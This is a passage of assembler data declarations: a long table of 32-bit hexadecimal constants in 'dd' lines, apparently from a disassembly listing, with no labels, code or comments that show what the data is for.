		dd 10F883DFh, 0BAF2392Bh, 0CA679BB6h, 0D279912Fh, 66821FD5h
		dd 668A1152h, 0E3D3B123h, 243E52AFh, 0C73DA7BCh, 0AC768A65h
		dd 0DCF7655Dh, 166A03A1h, 25A70F8Fh, 98504935h,	123180C6h
		dd 0F6F346E5h, 7ED174C1h, 0D596DABAh, 7EFC7E5Ah, 234468B0h
		dd 8D46AA2Dh, 4D1F67BFh, 4DEC14BDh, 0CC11B00Dh,	11B8D06Dh
		dd 91BAF303h, 6DEAFE62h, 22333217h, 403E0173h, 90A39EE9h
		dd 4EC78BA2h, 0DF4F2263h, 457F6E40h, 0BB411D68h, 0A9F25510h
		dd 90A93F32h, 8D1D5F3Dh, 7CE38CCh, 0FE86A44Ch, 0ABCEEFB5h
		dd 0CC8AFE9Fh, 591454FBh, 0BED57C30h, 436D77BBh, 7A7B64Ah
		dd 76F5B924h, 0E58964EDh, 0E6BB1C7h, 0E79EEB51h, 2C2A4701h
		dd 0DD48EB92h, 0E68CE83Dh, 1E9242B9h, 0CF02C483h, 0F200CB78h
		dd 0A017A9C6h, 87BDE1F1h, 87EDFCCAh, 864DAAEh, 484F11D5h
		dd 0B888D74Ah, 41648EAh, 53411F86h, 0F3FB3C9h, 61ED4111h
		dd 0B864A523h, 0E4691D41h, 29C78A4Ch, 0A9AEC6F8h, 0AD258Bh
		dd 364BD430h, 48A2188Dh, 7E782931h, 0EB058BC0h,	0A74BBEBEh
		dd 92CA585h, 59AEB610h,	582E6F03h, 3E35CE5Ch, 471380BAh
		dd 8AAB858Dh, 164596A3h, 1C59318Dh, 2274C298h, 0A75C6FB3h
		dd 0F16D24C7h, 88A89DDDh, 0A165A8Dh, 22FEF280h,	0A0499662h
		dd 22B7FC00h, 0C88D64DAh, 9D998A43h, 9D28CD30h,	62EE87DAh
		dd 506CF5Eh, 0E70B5305h, 243DE78Fh, 5172BA94h, 0EED3AD63h
		dd 5AD60B9h, 0B7A263B3h, 0A29E7663h, 6754D326h,	8F9F3528h
		dd 3C9673CAh, 0A8AB8220h, 532E4B07h, 104F14B2h,	0A8D7F882h
		dd 6703ECECh, 469C340h,	8AB7EAB6h, 0BA50E64Bh, 6703F888h
		dd 0E680E9A1h, 0E4015FAEh, 0F650A66Bh, 66099943h, 221B511Dh
		dd 0F6FAA77Fh, 0D4AD497Ch, 53F5176Ch, 249123FAh, 1BB5609Ah
		dd 7A47599h, 0E1EFEA43h, 9A0A16B2h, 3B98E015h, 6E79E9B3h
		dd 3BFB1D29h, 785864E5h, 7D47E47Fh, 0E3C690F2h,	0AF8CAAB0h
		dd 0B0A6690Bh, 7AD09CA6h, 0E8D392ACh, 20EDD15Ch, 635ED12Dh
		dd 4BD02D8Eh, 4BBE3635h, 0A823E0CBh, 7A5D2800h,	12A65673h
		dd 9C9D070Eh, 0B866665Fh, 6A92D9AEh, 2D611C81h,	0B97CF69Ch
		dd 62444CB0h, 0E7855165h, 30F48A07h, 0A4FCE31Dh, 0E4C117BDh
		dd 0A03593F5h, 0BCB8B1EFh, 0F8BF6B6Ah, 8F605E1Bh, 207D5034h
		dd 0EA1EF2BFh, 95C173B8h, 6324A3DFh, 0E95F4D7Dh, 495CBDDEh
		dd 0D2535554h, 15699AF4h, 4CA6D7DBh, 22647EBFh,	44289B3Ch
		dd 0C3F7EDC6h, 43B695D8h, 0EF669637h, 20293C18h, 0E9597A25h
		dd 0C42145D4h, 151C2669h, 0B32F5653h, 0B3F9835Dh, 42FD85C4h
		dd 3FE0C892h, 0DCA538C9h, 33C82717h, 0BD5E9380h, 636E8D36h
		dd 67960CA6h, 64D1FA90h, 8986EA90h, 69C41249h, 0C40D35D8h
		dd 0D44256BDh, 99FAC1D6h, 3507DEACh, 9B435AEBh,	5A01F849h
		dd 99334A6Ch, 215A56A2h, 0F5352438h, 3025810Ah,	0D350379Bh
		dd 33B3057Ch, 0BD702B66h, 7249D47Dh, 37500D05h,	7EA74AF4h
		dd 9CBCB674h, 0FC9839C9h, 595F4028h, 1C2588D6h,	8BF77D52h
		dd 3B6D10A4h, 91BBB0C9h, 6148DB2Eh, 1FFA95CBh, 0D9C4D677h
		dd 928BCF12h, 41EC0ED3h, 61CCE0CFh, 4D0A41FBh, 0FCEAD7B6h
		dd 0E512D5E6h, 5FFDD16Eh, 35DF941h, 0B5ED1501h,	0E862204Dh
		dd 0E3B78295h, 63027797h, 5AD57504h, 152F86BDh,	97F98EEBh
		dd 0BE521052h, 0DAD4F449h, 0E027B06Ah, 6F36E62Eh, 0B76E2188h
		dd 0C3ED65E3h, 2166BF6Fh
		dd 95B7C2FCh, 883FF28Ah, 2843EA43h, 4CF37EFAh, 0D3E58B8Bh
		dd 9EC71792h, 94CBF359h, 4897859Eh, 80532E02h, 654ADF71h
		dd 2ABDBF7Eh, 8C488494h, 0C2DF0497h, 11784E5Bh,	24FE6648h
		dd 0B98E668Ch, 5C84A9E7h, 0FFCA0BF7h, 1EC28FD1h, 7A5ABC7Ch
		dd 9C261AEEh, 38CA812Eh, 309A1909h, 0E13E435Fh,	13FFDF35h
		dd 1427F3Bh, 56E046B2h,	4FFBFC67h, 0D7DF479Ch, 6F5687AAh
		dd 25451004h, 20CFBAD1h, 0BA16E93Ah, 0B0510AF0h, 2ADF8AAAh
		dd 32F64E8h, 0A33C1D6Dh, 4B392DD9h, 27D28C3Eh, 0DD693893h
		dd 0E6D3F79Dh, 0DE2C8E6Ah, 793CBFE3h, 2817716h,	0E7DD716Ch
		dd 0FC3D6AE8h, 7EF025F3h, 643A5929h, 70142B6Ch,	0F42EA0DAh
		dd 0BDBC8746h, 8D5055B9h, 0C597EF82h, 0AD03DD62h, 2113E31Eh
		dd 89FCF4A7h, 5613A883h, 2FB6A485h, 0D2DAFEA7h,	2C23A573h
		dd 986B9B9Ah, 423626D6h, 0DA78BDD5h, 0B5462479h, 0B58ED465h
		dd 27F4C220h, 0F0CB8C39h, 4E3CF318h, 0E1F7CBFCh, 8A86D21Fh
		dd 0F9D31D94h, 0A40F8397h, 0BFA36D6Ch, 9EDC6AAFh, 7822AF4Eh
		dd 0EF594B8Ch, 141C0362h, 0E777079h, 0D990B678h, 71A9A5B5h
		dd 0CF2EC4AAh, 68FBFBCCh, 0AFA07DC6h, 0F9223673h, 42AE0632h
		dd 0A21071CBh, 0BF561915h, 67A6B2FFh, 2291A767h, 2FC342DEh
		dd 0BFB56D0Ch, 64C30BC2h, 0A875027Bh, 3A052137h, 30BA8C9Fh
		dd 0AB099A02h, 0FF38CCE5h, 0A5140F63h, 8C3D6C02h, 0D980C88Fh
		dd 0D707D821h, 7FD4331Bh, 0C9A70B56h, 4CDAEE21h, 4DA4A079h
		dd 0AB00B9D7h, 17C27C34h, 98FEBA93h, 43458728h,	0D257FA23h
		dd 2309A85Fh, 7A734EEFh, 1B4D1633h, 1646B2Bh, 0BAE4C774h
		dd 0DDF1E7BFh, 2566645Fh, 8587DB8Fh, 0DE961EA3h, 2E4E08Eh
		dd 0D38C6FF0h, 8A669E50h, 7CE2A4E6h, 0B23624C3h, 7313534Eh
		dd 0C60A84F2h, 0F9BB05F4h, 6314D7B0h, 90A6390Fh, 0DBE11B9Fh
		dd 0C7CA3828h, 73EB1962h, 899492Bh, 1007AEB4h, 8754590Eh
		dd 0F9AF3434h, 8A6C7A4Bh, 0DF7DACABh, 0D5DB618h, 8C524E92h
		dd 450BDDC5h, 0FF6B889Ch, 4788CA0Ch, 71728E44h,	0D52823E6h
		dd 671CE476h, 0E9BCB9E4h, 3BE17563h, 30544914h,	0D0DE14Eh
		dd 0A9C12302h, 21E941E2h, 548DD0A8h, 876C4045h,	0C1FDF889h
		dd 850F4EF6h, 8EA5BB62h, 57032C07h, 3A7AFEBCh, 4DE213BCh
		dd 0A0DA1F9Bh, 69ED5414h, 9DC273Dh, 2B4D29F3h, 0FBDF8AFBh
		dd 6143E7AFh, 302C17FDh, 12EACE29h, 0D51E365Dh,	178EBE79h
		dd 53B71C31h, 0A325657Eh, 70B4B4E9h, 8F9A0F82h,	71C8E797h
		dd 0BB3F0ECCh, 92B41530h, 452337FFh, 0B31CA828h, 2BA8B4F3h
		dd 30282BA2h, 46A69D29h, 4CFEBB39h, 0A1340339h,	88D00EECh
		dd 8C72284Dh, 938E081Bh, 0D7BF51EEh, 0C7378606h, 0C30CB3C5h
		dd 30F1BB1Bh, 811C424Ch, 58E25486h, 38C6ACC3h, 0EDD17CEDh
		dd 8A4CFDAFh, 0AAEE358Bh, 0CDB2C035h, 2FED645Fh, 0C8BFD8E1h
		dd 0EB8D03EFh, 9E85231Bh, 8349AA20h, 71695999h,	9274C95Ch
		dd 765480CEh, 1BBFA366h, 1F762599h, 68512D2Fh, 0A9108B9Ch
		dd 2472A1F0h, 0AB321FC2h, 0A95DBCB4h, 1496FB27h, 35CFCD05h
		dd 0A408FC0h, 6436F9D0h, 56B8BCEDh, 2A1DA9BBh, 330AE6C3h
		dd 0C6802B5h, 0C69D2E50h, 4A2102EBh, 0D21B56F4h, 69ED91BDh
		dd 1084941Dh, 5A61FA4Dh, 0E2B41D05h, 0A85C606Eh, 4CE1822h
		dd 54291D01h, 0F6500229h, 9BB81123h, 0D9524A0Eh, 0CD5EB9C0h
		dd 0C3CC0458h, 7DF3F6C5h, 8EA2E947h, 9316F628h,	0F492B5E8h
		dd 0B8E73C1Ch, 5069F289h, 9932743h, 3C28D041h, 0C864D744h
		dd 2FFE28D9h, 34AF9FC2h, 4136DC2Fh, 752DA828h, 724EE7C1h
		dd 97FEEEBFh, 0BBD1F34Eh, 8982CF7Fh, 0EC55D37Dh, 84B114C9h
		dd 0C297C4EDh, 0CF9E0283h, 88D5D044h, 0D1C3D5FDh, 1FB666E2h
		dd 37E41921h, 3D0BD747h, 0F03DF507h, 523C1A7Ah,	68D72347h
		dd 17CE983Dh, 1BC9D568h, 572A74ACh, 0F4ABF1D4h,	879506FFh
		dd 29E43127h, 0D027677Ah, 2276CCABh, 1242C48Eh,	3CC268EDh
		dd 0B80F31C3h, 0D6875810h, 484FB1D4h, 0ACC29B5Ch, 0E859442Fh
		dd 0B4CFC684h, 0F1BEE4FCh, 709817D1h, 4330334Ch, 0B96268Ch
		dd 731543EFh, 0CC34E1C5h, 0DCE56D8Fh, 2F08EC0Ah, 0F6605401h
		dd 0D0221B57h, 0B0F328E0h, 0E9059A3h, 84399C79h, 515820CBh
		dd 9A44B29Bh, 0C7B2967Dh, 0C1399CB6h, 16163359h, 1236A171h
		dd 7A9A181Ah, 0AB1193E2h, 571E07B0h, 6F966F02h,	2F282DFBh
		dd 0D4CD0E00h, 8A4412A0h, 0FD122DAFh, 0A7D16FB2h, 6762B64Eh
		dd 0C6F36430h, 2937DF2Dh, 12AF3C2Ah, 1434F263h,	61E1BB29h
		dd 0B19C9AD1h, 5C5FCDD3h, 0E59A3B78h, 0B772214Ah, 5DE64F50h
		dd 0D0CAA0F2h, 77071439h, 7B6B2AF4h, 0E379539Fh, 0AFE16BE1h
		dd 111D2267h, 9A6A517Fh, 0D5F29E4Fh, 0D57951B5h, 0A14CC2DBh
		dd 0A8B7AB1Dh, 0BF76F50Ah, 98BB82A7h, 0FADFF1BBh, 7569993Ah
		dd 0C33A51D9h, 5170AAD3h, 9062C4FEh, 8E8AE2BBh,	0E10B4A5Bh
		dd 0DFAB84D0h, 0CCE3E88Fh, 3CB1C494h, 1DCBEF2Eh, 0E9FEDA79h
		dd 12E21947h, 0B7C6F74Bh, 7A259F25h, 4EA97548h,	938ED6DFh
		dd 0FAF2E08Dh, 0C63BE8B6h, 3F4DB9A5h, 336BD2B7h, 0ABA0C7C4h
		dd 0A271BE14h, 0B036DC4Ah, 0A3CEEC6Fh, 9766AD6Bh, 0C3555D0Dh
		dd 0B7A815A5h, 9CE4CB26h, 0A0E1E3E6h, 0CB059540h, 3D9CA4EBh
		dd 4A53CB70h, 0D1F3B983h, 0C8CEF8A4h, 784D6077h, 553D1717h
		dd 2F4F2EDDh, 60BA5EC0h, 0ED0C8DA2h, 3ECF30AAh,	0ED19D199h
		dd 0E8C83E9Eh, 666306A4h, 4A91B4DEh, 0E51F44E6h, 238076C8h
		dd 2F390A5h, 55ADE762h,	93C5CCF0h, 8FFDF622h, 0C3D08909h
		dd 2A359407h, 0FE6036DFh, 1603A088h, 0E9F24723h, 783221DCh
		dd 0E8E25D93h, 0A11F5FD2h, 8ABCDAC1h, 0CF389C85h, 0EB3463E3h
		dd 1A7D1011h, 10DC8659h, 0E5AD83CCh, 5D4B7BCh, 21A26783h
		dd 9ED71C5Ch, 58F08165h, 0E89EA9ECh, 0DF7BCC9Fh, 4E2F20A4h
		dd 83731E07h, 0C1C8AC5Ah, 8D475A50h, 0EF15683Eh, 0BD8D64EFh
		dd 0C0F9B7B0h, 0EBDDCBA0h, 0DE58C0h, 0F2C48D75h, 27B86ABBh
		dd 7D2657A9h, 1A5A0ACEh, 508DF2EFh, 0C51151AFh,	0BE5952BFh
		dd 9680D7D3h, 97E408E5h, 0E15528A9h, 875EB3FDh,	0A2585973h
		dd 0CDF3C089h, 27352933h, 6B6B1DBFh, 5BF408DFh,	934E851Ah
		dd 0AF0BFC01h, 0CD13CCF1h, 209A681Fh, 959397C4h, 30B63699h
		dd 2860249h, 0FA46309Eh, 2C786664h, 9FBED67Eh, 18884216h
		dd 6478AD4Bh, 0E6F59382h, 0DDA25DDEh, 0E42B8541h, 1A12E515h
		dd 0C4344AC9h, 5AFA185Fh, 0A8CFE2D5h, 910833D4h, 0A7639E0Dh
		dd 7BD1CF2Dh, 41940672h, 3E1957C6h, 0A6841FA6h,	0BAD07DEBh
		dd 0DD150C06h, 5274D93Bh, 3FE2540Fh, 453682CFh,	12EE95F5h
		dd 9D017947h, 3795165Ah, 42D7FB1Ch, 0BE7456C6h,	0A8BABDEBh
		dd 1B4D57B0h, 1901989Eh, 79ECC545h, 41C3D7ACh, 2EDB162Fh
		dd 0F63184E4h, 0C935CDB8h, 0BBFCA4CBh, 0DC930339h, 1048DA5h
		dd 0BFF43F5Bh, 0A308EAAEh, 923D6347h, 0DE1CFFEh, 0C0B3B30Bh
		dd 0DDB62C1Fh, 0FE479B8Eh, 3AD0C239h, 67B0FA9h,	41C164DAh
		dd 0B46B1D30h, 3BD92947h, 4B66ED0h, 476C6202h, 0C98FBC9Ch
		dd 0D7B918F0h, 42211C2Ch, 7A40236Ah, 0D01F5B1Ah, 470EFDDh
		dd 869E8A34h, 9406A5D6h, 235F7286h, 0D22E487Dh,	0E76C5E74h
		dd 17A69382h, 6CB75FE3h, 6FB704A4h, 2F13C56Eh, 9A824E79h
		dd 2FC53509h, 259BE75Ch, 8F3E6A00h, 4A0EDCC9h, 2DB2BFEBh
		dd 0C21AC19Eh, 0AE847F0Eh
		dd 400E5803h, 79FFF61Bh, 0AA28BEE5h, 5A385713h,	52470B43h
		dd 0E8BDF217h, 99DFBDFAh, 0C18D6767h, 518835ACh, 41E9B30Ah
		dd 0BC92F379h, 0B9E698Ch, 0A328CC0Fh, 0FC7F597h, 0A770AEA5h
		dd 0F1ED9D5Fh, 111A28Bh, 0CFBBAF3Bh, 9CBAC08Ch,	0B4017379h
		dd 12A18A98h, 0AC412EF7h, 0F799EB8Ah, 2F561B3Bh, 0A8E348E7h
		dd 0D5312CDDh, 0B7B80443h, 0C0CA7D94h, 11AE2EEFh, 2D5FE9C3h
		dd 0A0F3F0A7h, 0F25C28F6h, 6044362Ah, 0C104E470h, 92293660h
		dd 53C7A9A9h, 3A7D9F98h, 0C020A684h, 5FB75129h,	0D2C3C334h
		dd 0CEDA49EDh, 0BDB111FAh, 0D987FBF2h, 0F81AF25Eh, 0C4F0CF7Ah
		dd 24098D17h, 0AECCD66h, 0EC8E81C5h, 23E321Eh, 0BCE14ADAh
		dd 967F3E7Ch, 56B34652h, 2C1B669h, 8E16D5C4h, 0BD3B226Ah
		dd 0B44EBAE4h, 0AFAC755h, 7058BCF3h, 0E7FFD09h,	0B1D082A6h
		dd 2FF7E379h, 0EC0CC280h, 0EA7061F5h, 74FE9257h, 2DE4272Ah
		dd 32B9F30Ah, 34E412F5h, 1E7AD21Fh, 8A7E453Dh, 232681D4h
		dd 6D0FAE58h, 0C11349DEh, 0EF3820B8h, 8DC1846Fh, 0C8B33F0Eh
		dd 0E5C1CE12h, 7CBE7300h, 0D479645Fh, 35440667h, 2B6607B6h
		dd 0F27715C0h, 0D81FF713h, 0EBCA9FA2h, 0A985929Bh, 6DE3B823h
		dd 5E7191AFh, 2E8128A5h, 9797C9F7h, 0D8878528h,	0F6C03AB7h
		dd 3A3FD6D8h, 0BB0F1F8Dh, 350EC05Bh, 9D529704h,	5BDCC609h
		dd 0A0D36776h, 45800540h, 0E5254B39h, 0CB6AEB7Ah, 12A2565Bh
		dd 5C07107h, 0E27D5E7Eh, 89398829h, 52AEFC4Ch, 52CEB4Eh
		dd 419C345Eh, 28A784F0h, 4C452898h, 0C5CF9553h,	18050E92h
		dd 13E094E2h, 2D37B98Bh, 0A0FFD7D5h, 0F1236306h, 97C84A5Bh
		dd 385CA253h, 105F1D03h, 0D9492D93h, 6D88BF18h,	68052AB4h
		dd 0B1DCD0D4h, 0C63381F4h, 0ABB75255h, 4D86CA0Bh, 0D9D7F049h
		dd 0C7BC20A7h, 0C3A67B02h, 2CAC666Bh, 0B9ADCBFCh, 3129B9AAh
		dd 0EEFD8C98h, 0E3BC8B1Ch, 25979689h, 0FD28C581h, 73468264h
		dd 1A8EB760h, 68157571h, 0ECDC75FEh, 0E00C06AAh, 71015D3Dh
		dd 88EBEE43h, 71BC2FDDh, 63B16B0Ch, 3ABFB8AFh, 2550D0Fh
		dd 0E0B651F1h, 86FB42AFh, 844703Bh, 1366880Ch, 0EFE70948h
		dd 8C45E9A4h, 3EC5560h,	0A917F2ADh, 0DD52B073h,	697B69CBh
		dd 82523807h, 0EAC620A1h, 235C2FBBh, 2BAD09AEh,	0CF94704Eh
		dd 0B821DBC4h, 0D04F36A9h, 816457EBh, 0E8FE3A0Dh, 0B9092305h
		dd 907554FBh, 0FA0C885Ch, 0A3D62C95h, 6D21843Eh, 0BA2469B8h
		dd 721A4EA0h, 0C5D874CFh, 6982C5B7h, 6F0E4E27h,	45641DD2h
		dd 0F944064Ch, 8E556FD5h, 0FC504DF0h, 0CD58FDCEh, 0D6BD778Ch
		dd 0A3772FDAh, 4BBEA920h, 0DD82AF44h, 987A665Eh, 23820ED7h
		dd 3718EF05h, 1A512659h, 0D2784ECAh, 0F79E22Dh,	0CD41B982h
		dd 0AD86C505h, 0B66FA926h, 0A7B8A7Ah, 2FB28FC6h, 1FBC3F8Ah
		dd 0E359257h, 31FC561Ch, 0D59B768Dh, 8847BF42h,	0E3154019h
		dd 3E541D73h, 3CC95C53h, 9D0DBC5Ch, 478D75BEh, 0E6ED958Bh
		dd 0E20BE345h, 0FDBFB044h, 0F619A822h, 31D3D25Fh, 612280E5h
		dd 5A4460C5h, 0D5835A49h, 0DA8329D7h, 0F5CB8AE6h, 5B653FBDh
		dd 2B7143E4h, 0ED6EC72Ch, 410C6D16h, 1A3C8142h,	0F647D834h
		dd 6186FF35h, 0F2E14E08h, 13ACB97Ah, 6A7D426Dh,	2329C9C7h
		dd 3E47F951h, 140B338Ch, 78A27167h, 0D181B189h,	9577D7EBh
		dd 5F4D6DF7h, 0A1C6602Bh, 0CC1016B5h, 0D176267Ch, 0E4D3315h
		dd 0B7F28FF6h, 793B27ECh, 0E003EF33h, 4C52FF09h, 0B4B244C5h
		dd 60548961h, 573FA035h, 4D7DBB96h, 8723F811h, 5A63B19h
		dd 145FB474h, 21BBFD22h, 7BECC39Bh, 0E0B1DDDBh,	0AA8EB0D6h
		dd 6BB53688h, 624C253Ah, 0C3CE714h, 1D136362h, 6C798FC1h
		dd 738F13BBh, 70374422h, 0B956F31Eh, 9E1E677h, 35B30127h
		dd 4983E76Fh, 97E562A3h, 1D8F8F18h, 54B47ECCh, 58D96CECh
		dd 76DAF7FEh, 0E398CF18h, 301136FBh, 0D739214Dh, 827F0941h
		dd 7C6D280Dh, 94697B3Bh, 9FA961B7h, 505A3D32h, 5F787245h
		dd 1F9AE3B4h, 700D7FB4h, 0C434C57Ch, 6AF86295h,	59EBE414h
		dd 63BAFE93h, 7C6DA34Eh, 6DA03A30h, 0EFD53F4Ch,	0F3CE010Ch
		dd 97EDB595h, 0B54EDB8Ch, 64268673h, 4CB444BEh,	0C62C16AEh
		dd 8DF7A520h, 7B6747BEh, 6E77A8F7h, 0B3F2CF32h,	3C7F4BDCh
		dd 0F374A4A0h, 47FED0B7h, 33122F9Dh, 8FC2C3Ah, 557B14DCh
		dd 2AACCF27h, 0F1329369h, 50DFB644h, 0B57077Fh,	0F0C5F2B6h
		dd 0C5F8DE0Fh, 0F33FC05Eh, 0A00E6472h, 5832394h, 0E08F7925h
		dd 0AEDD2BCEh, 0AC36DAB1h, 0BD561AFh, 8DEAFF42h, 0A361E1DCh
		dd 4E80622Bh, 60BDD38Ch, 78F6F2FBh, 0F800BBEAh,	0B1271B25h
		dd 9DB3A2E4h, 933A57D3h, 0FBCECC7Ah, 37EFEAFEh,	1CC448B3h
		dd 0D7416198h, 7B37F716h, 84E284D2h, 8971A729h,	0C0E34151h
		dd 5F6E8444h, 49D82E13h, 0F0C1A24Ch, 8160BE7h, 21B22F42h
		dd 2D966EEFh, 0E048A077h, 0FF8F6D49h, 28C48B89h, 31654F36h
		dd 65CE87D4h, 0F6EF29FFh, 5F89F572h, 2420048Eh,	16280174h
		dd 0D4006318h, 9523B1CEh, 5AE3FE4Fh, 144BD3Eh, 0F4AD682Fh
		dd 0EE0C064Fh, 421721F0h, 0C86F6032h, 75E607C4h, 0D5C02DEBh
		dd 42211CDFh, 0B6149CD6h, 58846205h, 0D6B661FEh, 3629B504h
		dd 14BDCFAEh, 0ACFE4B43h, 0A86CFBF3h, 0C28968BEh, 0F036F3B1h
		dd 2691178Ah, 5B76BCD6h, 0F9174791h, 75D9065Ah,	3004C9E5h
		dd 89FED2CEh, 554B3B9Ah, 7E3571A6h, 104522B2h, 1176DBE8h
		dd 0CD64D451h, 6D2A4F0h, 0A0130BECh, 0CD165035h, 0B4AF9CDEh
		dd 3C272B0Ch, 3578A1B9h, 74BC2066h, 5F0F706Dh, 92464944h
		dd 6ED0A939h, 7EC1253Bh, 3CA1A443h, 0D9AF5D17h,	0C7A22266h
		dd 0F5556EB5h, 0C49B723Ah, 0A21BDF91h, 0D06AF220h, 78890B06h
		dd 4545721Ch, 6032A411h, 65AFC52Eh, 72AAF0EDh, 268F9DFDh
		dd 0C74396Eh, 13C278D3h, 9200F273h, 68F308DEh, 0DABB5DBBh
		dd 0C66FCCEBh, 3137DC41h, 0C4F5962Bh, 0C7C717F5h, 1FEB6A1Dh
		dd 163109CDh, 0DF27D7D2h, 0B82D6C41h, 0C3D95DEh, 0BAB9468Bh
		dd 0B985599Bh, 331B20Bh, 920DE857h, 523AF780h, 393EE336h
		dd 6B778AF4h, 643BDD72h, 1DB74839h, 401AF762h, 0F7449F1Ch
		dd 0F33D55B0h, 63AE6ED2h, 57F41125h, 13CF52E0h,	0D3748CCAh
		dd 0A9D831C8h, 1BF628B7h, 398B299Ah, 0FC0F0EA4h, 14FAC18Ch
		dd 2B95B1A2h, 0E5DA6046h, 0ED6130F5h, 2DBE32EEh, 0DF0FC851h
		dd 2D3F2ECh, 2BF7ADBEh,	0C95378D9h, 0E3B84046h,	0C7FF8EA3h
		dd 18D86969h, 9C8029D1h, 58CF4388h, 3E5B6DD1h, 65037DBCh
		dd 43B2DB74h, 4AFC02C4h, 0D87218FEh, 0A529981Ch, 6B32566Dh
		dd 0F0BAFD94h, 87809396h, 99B176DAh, 18256A33h,	5051AF45h
		dd 71F62423h, 24145F3Eh, 31810EEBh, 0BB99CA7Ah,	6F887ABBh
		dd 0E34D1D90h, 42D121FBh, 836D81D2h, 0AD7F8DC6h, 0D8B2F22Dh
		dd 54D3ADD3h, 41C8DD68h, 80A4DEAFh, 5E63A942h, 1A588449h
		dd 0F75D0E33h, 1428B308h, 0BA0C252h, 0E120DC0Bh, 80D7978Eh
		dd 666AA1D1h, 0CDA2646h, 1A03B2FBh, 3EE5761Bh, 4D0DC54Dh
		dd 28DD4C67h, 566F6D7Dh, 110E0530h, 0F0D1FA5Ah,	9A4B10A4h
		dd 1F950536h, 3E7A41B0h, 856D3577h, 0B29B328Bh,	0DEF7E34h
		dd 0DC0623BCh, 0A5350239h, 0BB6D96CBh, 5C4A6B05h, 8B4060DDh
		dd 0DC7D1C22h, 8402F24Eh, 4D58962Dh, 0B99AE81Bh, 480B9BB6h
		dd 90D2ADBEh, 148BEAD1h, 96546FA2h, 2A5D44F0h, 3202E393h
		dd 4F3A4A57h, 2945C598h
		dd 51293409h, 0ED544E14h, 35C67287h, 0BB8FCD13h, 5EA0E2C8h
		dd 4DCE4C62h, 6C40DB85h, 886DE4F3h, 20244B3Fh, 0DC937A13h
		dd 1B37F647h, 0BA7A0AABh, 9D50BAB3h, 0DEB7907Dh, 35EEC611h
		dd 0B971D97Eh, 1E1C1D67h, 0C4C13D99h, 0A17D2496h, 7B5D9ED7h
		dd 0AC7E4C3Eh, 3B5BC4CEh, 5437AABAh, 9F817221h,	0DDD43FD5h
		dd 0C0DC0E96h, 0C033041Dh, 24B82B14h, 2AAA65F1h, 0FF8AEB78h
		dd 138C6EBAh, 9100BF0Fh, 9C885770h, 676A098Bh, 2CCF917Ah
		dd 675A7A7Fh, 8764B892h, 1200A6B7h, 0FC46DA75h,	3DF4572Eh
		dd 62F1EDFh, 0FBD15A33h, 0D8A5F306h, 1A827084h,	32B8078Fh
		dd 0F7DEF8AFh, 10BBE80Eh, 991CF695h, 0BB2439DBh, 0FCB18D6Ch
		dd 0A0342A63h, 6F1B8D68h, 35BB12A7h, 31C88843h,	0F59E9BF6h
		dd 0A8B7A166h, 0A60251B0h, 0BB3278D5h, 0C222B011h, 2F6C47B2h
		dd 0A9F8BD7Bh, 65A8491Fh, 47B4CE9Ch, 0BCB9E425h, 4DFD206Bh
		dd 4627DAFEh, 29920344h, 3D3834B2h, 60B03CAEh, 21F0D6F2h
		dd 0E9031DFFh, 658F0DC1h, 54A43BC3h, 0E959DC77h, 0B6960309h
		dd 1C023E89h, 48A1FEFEh, 73235C90h, 0E19A519Bh,	97D1F0Ah
		dd 9227D1D4h, 0C1967D8Ch, 0A9E95F3Dh, 381BBA0Bh, 79BAADEEh
		dd 7843285Ah, 305654EBh, 0DEC96AE7h, 31FCDD23h,	0B23B3C91h
		dd 658B555Ah, 71D9812Dh, 0D25B7A75h, 5C1FC66Fh,	5907FA75h
		dd 0C762EC09h, 50D66873h, 97896C5h, 81C6C7B2h, 0A164066Fh
		dd 7961658h, 7ED20D42h,	0DB85035Ah, 0F8C0DA1h, 10238085h
		dd 9B621AD4h, 4F6D261Ah, 5EC1639Bh, 5E281386h, 0C82FA5h
		dd 2B62D08Bh, 0ACA71177h, 0EE8D646Fh, 957537CDh, 673EC91Dh
		dd 0B8356F39h, 0B8A62EA9h, 3078633Eh, 0CC87DE47h, 945F0B30h
		dd 0CD514AB0h, 4278BCA1h, 9971C4Eh, 994C16D7h, 867A0328h
		dd 2915656h, 54CB3F2h, 6ECDC921h, 2E1C03Dh, 0F8F70F8Fh
		dd 1B9F4902h, 0ECC4A857h, 0FC5F5256h, 0F03BBEADh, 0CE314488h
		dd 6878B005h, 0A5F8DA3h, 400AB82Bh, 0A1A7E183h,	4E1B1FECh
		dd 1276C41Ah, 31DAC5E0h, 0CCB8D8CFh, 3D5BF5D9h,	0EE581D75h
		dd 4378CA58h, 0C384C131h, 50BC02E1h, 0DDEC2D3Ah, 0EA5EDD4Fh
		dd 248B5F2Ch, 608C9C27h, 1843C875h, 725FEC82h, 0F91C4E95h
		dd 43484C29h, 0E32CFEh,	0A716F9CAh, 73CE69A7h, 627F4C90h
		dd 66E21780h, 0F60E7D1Fh, 21F7412Dh, 8232A958h,	0F8426228h
		dd 55F97EB7h, 776720CCh, 9691BF27h, 21D69C49h, 0E1A9F42Fh
		dd 88DE0F10h, 60DB1AEAh, 977A5E6Ch, 403E2141h, 7B9CF6B5h
		dd 1DDE0134h, 7A151C86h, 4D161B4Bh, 0DCA73EBCh,	93F3718h
		dd 1A84DBF1h, 0E355F873h, 2D9A8ED2h, 0A241C818h, 0D1126DFAh
		dd 0B47EBFEDh, 3434C440h, 0B280745Ah, 81699CF1h, 0A2AF53BBh
		dd 684752E4h, 6FD549EDh, 0BDBD8843h, 46C22F70h,	0CDCF42D2h
		dd 74E3BA5Ch, 131F68B0h, 138EF0D9h, 76D0DBAFh, 0BC047B8Eh
		dd 0C1876717h, 313226DFh, 0DDBB83F0h, 78EF2F66h, 40A76696h
		dd 0DB3EC010h, 2B5179FDh, 0A97B208Dh, 0A82910ACh, 0B9070C29h
		dd 857D4BBh, 55A6722Eh,	10B2DB4Eh, 41AF13A9h, 0D16F9102h
		dd 0CC8E010Ch, 0BEC7BC14h, 2B9F9ADh, 4A80DC37h,	8DC64B07h
		dd 9D993DB7h, 0B5BA1E1Ah, 62DBFF14h, 0DB345D55h, 56144A96h
		dd 90542009h, 0B939D815h, 8BAA77B0h, 6D8301D6h,	74084F1Fh
		dd 0E5CAC942h, 0B766FB56h, 105805FBh, 0DB2C0666h, 0CB1F8E94h
		dd 12951B1Ch, 0FD8F4FE1h, 3174C530h, 0B682524Fh, 1C148DE9h
		dd 0E8C3E3Dh, 9FCF6455h, 21DFF76Bh, 0A1086h, 1D893F50h
		dd 0D4628665h, 90C3864Ah, 0CFC52A04h, 0F22EBCEh, 0ECF0026Eh
		dd 0B01811EEh, 34CC06BBh, 1B424EBAh, 0A196ADCBh, 5E731E7Eh
